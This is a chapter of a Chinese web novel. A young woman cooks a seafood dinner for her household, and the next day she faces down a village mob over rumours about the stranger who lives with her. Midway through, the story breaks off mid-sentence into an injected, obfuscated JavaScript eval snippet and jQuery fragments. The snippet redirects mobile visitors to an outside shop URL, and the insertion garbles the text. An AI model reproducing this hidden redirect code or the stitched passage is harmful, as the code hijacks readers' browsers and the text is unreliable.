7. 闹剧

    回家路上,于知乐查看这场直播的数据。


    这场直播热度稍有回落,但也积累了五六万,保持这个态势,下下场直播就能用上通感功能。


    按照云直播以往的惯例,主播开启通感后热度会积累得更快,到时候她再逐步解锁商城。


    至于美食直播环节,于知乐已经准备好说辞,现在唯一的问题是周岳生的身份。


    想着,她回头看了一眼周岳生。


    于知乐是标准的桃花眼,眼尾微微上翘,眼里的笑意似三月的春水,温柔迷人。


    突然的一眼让周岳生微怔,垂眼掩饰片刻的失神。


    两人始终保持一定距离,一前一后地走,很快就到家。


    于越在后院给菜地浇水,见于知乐满载而归,笑得开心。


    瞥见衣衫褴褛的周岳生后,他打量了一番,最终视线停留在他的指尖,问:“姐,他是?”


    “你先回屋找件衣服。”于知乐扯开话题。


    于越点头,转过轮椅进了于婉琴的屋。


    “小云有没有给你安排身份?”于知乐问。


    周岳生摇摇头,眼神晦暗。


    看来她错把自己当成了同伴,不过,这更方便他进行后续的调查。


    “行,那听我的。”于知乐应声,立刻给周岳生编了落海失忆的身世。


    于越拿的是于海光一套洗得发白的旧军装。


    周岳生接过,熟悉的布料触感让他眼底闪过一抹精光。


    在他换衣服时,于知乐把准备好的理由告诉于越。


    “哦。”于越反应平淡,看样子是接受了这个说法。


    穿军装的周岳生让于知乐眼睛一亮。


    绿色的军装衬得他身姿更加挺拔,寸头与硬朗的五官给人冷峻肃杀的感觉。


    于知乐把海货倒入木盆,让于越去找陈昭拿点姜葱蒜和辣椒,又叫周岳生帮她把晾干的泡菜坛子堆在屋檐下。


    “你怎么充电?电池?太阳能?”于知乐坐在板凳上看周岳生隆起的肌肉,看得津津有味,突然发问。


    周岳生沉默一会,回答:“吃饭。”


    “这么不智能吗?”于知乐小声嘀咕。


    彼时,于迟才睡醒,睡眼惺忪地抱着爬爬出屋,摇摇晃晃扑入她怀里。


    于知乐亲了一口他的脸蛋,又揉揉他的头发,于迟则亲昵地蹭蹭她的脖子。


    天色渐暗,于知乐开始准备晚饭。


    她规划好每样海货的做法,带鱼红烧,皮皮虾清蒸,海兔白灼,再切一块海带打个蛋花汤,剩余的晾晒成干货。


    泥螺需要用盐水浸上一天才可以腌制,于知乐把腌泥螺安排在了第二天。


    于知乐和周岳生处理海货,于越负责处理调料,于迟帮忙淘米。


    四人分工明确,有条不紊地干活。


    “你处理海兔,抽出软骨,去掉眼睛和嘴巴。”于知乐给周岳生做了个示范。


    周岳生学习能力强,动作很快就变得娴熟。


    于知乐放心去处理带鱼,先把带鱼的头和鱼鳍切下,剖开鱼肚,将内脏和黑膜清理干净。


    而后,她将带鱼切成约五厘米长的小段,放入料酒和姜片腌制。


    皮皮虾只需用盐水清洗几遍即可,海带的处理则麻烦些。


    已经用盐水浸泡半个小时的海带还需平铺刷洗,洗净表面的黏糊物质,再切成巴掌大小晾晒。


    所有东西都处理好后,带鱼已经腌制超过二十分钟。


    于知乐擦干带鱼段表面水分,倒油入陶罐,把带鱼段煎得两面金黄。


    紧接着,她用锅里的油煸香姜葱蒜和辣椒,放入带鱼段,加热水,又放酱油和糖调味。


    中火焖烧一会,大火收汁,最后汤汁变浓稠时盛出。


    红烧带鱼霸道的咸香味占据小院的每一个角落,连周岳生的喉头也忍不住滚动。


    第二道菜是清蒸皮皮虾,只需将皮皮虾摆盘,加入姜丝和葱段,再撒小半勺盐,就可以上蒸锅。


    白灼海兔更为简单,海兔倒入沸水煮一两分钟即可捞出。


    于知乐捞出于越煮了三分钟的海带丝,加热水,磕两个鸡蛋打成蛋花,加盐,滴上两滴香油。


    不到两分钟,海带蛋花汤出炉。


    于知乐分出两人份的量,于越摇着轮椅送去牛棚。


    周岳生默默观察着一切,记下牛棚这个信息点。


    于越回家,正式开饭,每人的第一筷都落在了红烧带鱼上。


    浓郁的酱汁炸开所有人的味蕾,加上一口软糯香甜的米饭,唇齿留香。


    于迟满足得眯起眼回味。


    白灼海兔带膏带籽,沾点于知乐的特制料碟,鲜甜得眉毛都要掉了。


    周岳生自小住在军区大院,父母工作很忙,从小在食堂吃,吃得眉眼柔和了不少。


    “教你们吃爬爬虾。”于知乐生怕于迟被被皮皮虾的刺扎破手。


    她让皮皮虾仰躺在桌面,将筷子从皮皮虾尾部上端插入,筷子一倒,沿着虾的背部插入肉中,再用另一根筷子夹紧,虾壳缓慢与肉分离。


    “看,完整的肉。”于知乐得意地展示自己的成功。


    于迟用崇拜的眼神看她,于越嘴角微微上扬。


    三人笨拙地学着她的方法,最终成功分离虾肉。


    蒸笼是竹制的,连带虾肉都带有淡淡的清香,三人大口吃得爽快。


    另一边的陈昭则没那么痛快,被皮皮虾的刺扎得龇牙咧嘴。


    周岳生与于越和于迟住在同一间屋子。


    深夜,屋内呼吸声绵长平稳,他倏地睁开眼,悄悄出了门。


    第二天中午下工,于知乐海边约会野男人的谣言发酵到了海阳村,张家人怒气冲冲地打上门。


    “于老太,你老于家什么意思?于知乐说给我张家了,她还不守妇道,在海边与野男人约会?”打头阵的是张老太,她身后站着一排凶神恶煞的男人。


    吴彩霞见了这种场景,腿肚子隐隐发抖。


    “你放什么屁?”于老太太分家后就被气倒,好几天没出门,压根没听到于知乐的谣言。


    张老太双手叉腰:“你装什么装?现在那野男人还住你孙女家呢!”


    于老太太面色发青,看向吴彩霞。


    “就,就,村里有人看见乐妮和一个野男人在海滩见面。那,那男的衣衫不整地跟着乐妮回家了。”吴彩霞磕磕巴巴地说。


    于老太太一拍大腿,生气道:“好你个于知乐,看我不扒了你的皮。”


    只一眼,两个老太太暂时结成联盟,要去找于知乐算账,


    两人的争吵声吸引了邻里的注意力。


    一传十,十传百,最后于老太太和张老太身后跟了一群人,气势汹汹地走向于知乐家。


    彼时,于知乐正在准备腌醉泥螺,周岳生帮忙打下手。


    闹哄哄的声音让两人的视线从泥螺转向院门。


    下一秒,院门被一脚踹开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650723|143960||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,一个流着口水、发出奇怪笑声的男人扑向于知乐,嘴里喊着:“媳妇,我的媳妇。”


    于知乐没反应过来,身边的周岳生长腿一伸,男人飞出两米远。


    “强宝,你怎么样?你别吓娘。”张太老的哭喊声暴起,踩着小碎步跑到男人身边。


    男人弓得像煮熟的虾米,发出痛呼声。


    张老太怒火攻心,指着于知乐大骂:“你不守妇道,居然还让奸夫打我的强宝,我今天非得好好教训你一顿。”


    说着,她就要给于知乐甩巴掌。


    于知乐冷着脸,握住她的手,反手甩了回去。


    啪地清脆响亮一声,所有人再一次目瞪口呆。


    乖乖,他们那娇滴滴的海隅村村花真的变成了呛口小辣椒。


    “你,你,你!”张老太被打懵了,好一会才反应过来,“老二老三老四,给我打死这个小娼妇。”


    三个大汉应声出列,低吼着向于知乐而去。


    周岳生侧身把于知乐挡在身后,一拳收拾一个。


    没十秒,三人倒在地上哀嚎。


    “于知乐,你有没有规矩?以上犯下打婆婆,还让野男人打小叔子!”于老太太没往前凑,站在老远的地方教训于知乐。


    于知乐冷笑一声:“我怎么不知道自己嫁了?”


    “我是你长辈,我安排不得你的婚事?”于老太太嚷嚷道。


    下一秒,她声泪俱下:“你真是要寒了我老婆子的心,我是为了你们好才换的亲,要不以后于越得孤独终老。”


    围观群众一听,这是好事,开始七嘴八舌都劝于知乐要顾全大局。


    于知乐甩出菜刀,菜刀稳稳落在离老太太脚掌两公分的地方,入泥三分。


    “啊!你想杀人?”于老太尖叫。


    于知乐冷声道:“你和我有半分血缘关系吗?滚出我家。”


    “你和野男人有一腿,有伤风化,要浸猪笼。”于老太立即将矛头指向周岳生。


    吱呀一声,于越屋子的门开了,陈昭推着于越出门。


    “这是我姐的未婚夫,我爹的下属。”于越扔出一颗炸弹。


    大家纷纷看向周岳生,乍一看,还真有几分军人的气质。


    他们对于越的话信了八分。


    “本人隶属西部战区一二五师。”周岳生周身的气场突变。


    他环视人群,这不仅是在为于知乐解围,同时抛出了一个诱饵。


    大家信了个十成十,纷纷倒戈,转头指责于老太乱点鸳鸯谱。


    于老太见舆论落了下风,立刻装头晕,让吴彩霞扶她回家。


    张老太见这么一着,自然不敢再找于知乐麻烦,追在于老太身后要她给个说法。


    闹事的人走了,围观的人也自然而然地散开。


    有些老头仗着年龄大,板着脸教训于知乐:“还没成亲就住在一起,有伤风化。”


    “老头,你儿子知道你这么喜欢在外面给别人当爹吗?别人的家事,你在这吱吱歪歪。”陈昭嘲笑。


    老头被哽得脸红脖子粗,骂骂咧咧地走了。


    看热闹的人渐行渐远,陈昭表情一边,笑嘻嘻地说:“姐姐,你不用谢我,你做的饭菜实在太好吃了。”


    于知乐扑哧一笑:“以后有空来我家吃饭。”


    陈昭忙不迭地点头答应,生怕她收回这句话。


    于知乐又被他逗笑,晃眼间看见一片粉色的衣角消失在人群中,莫名觉得有些熟悉。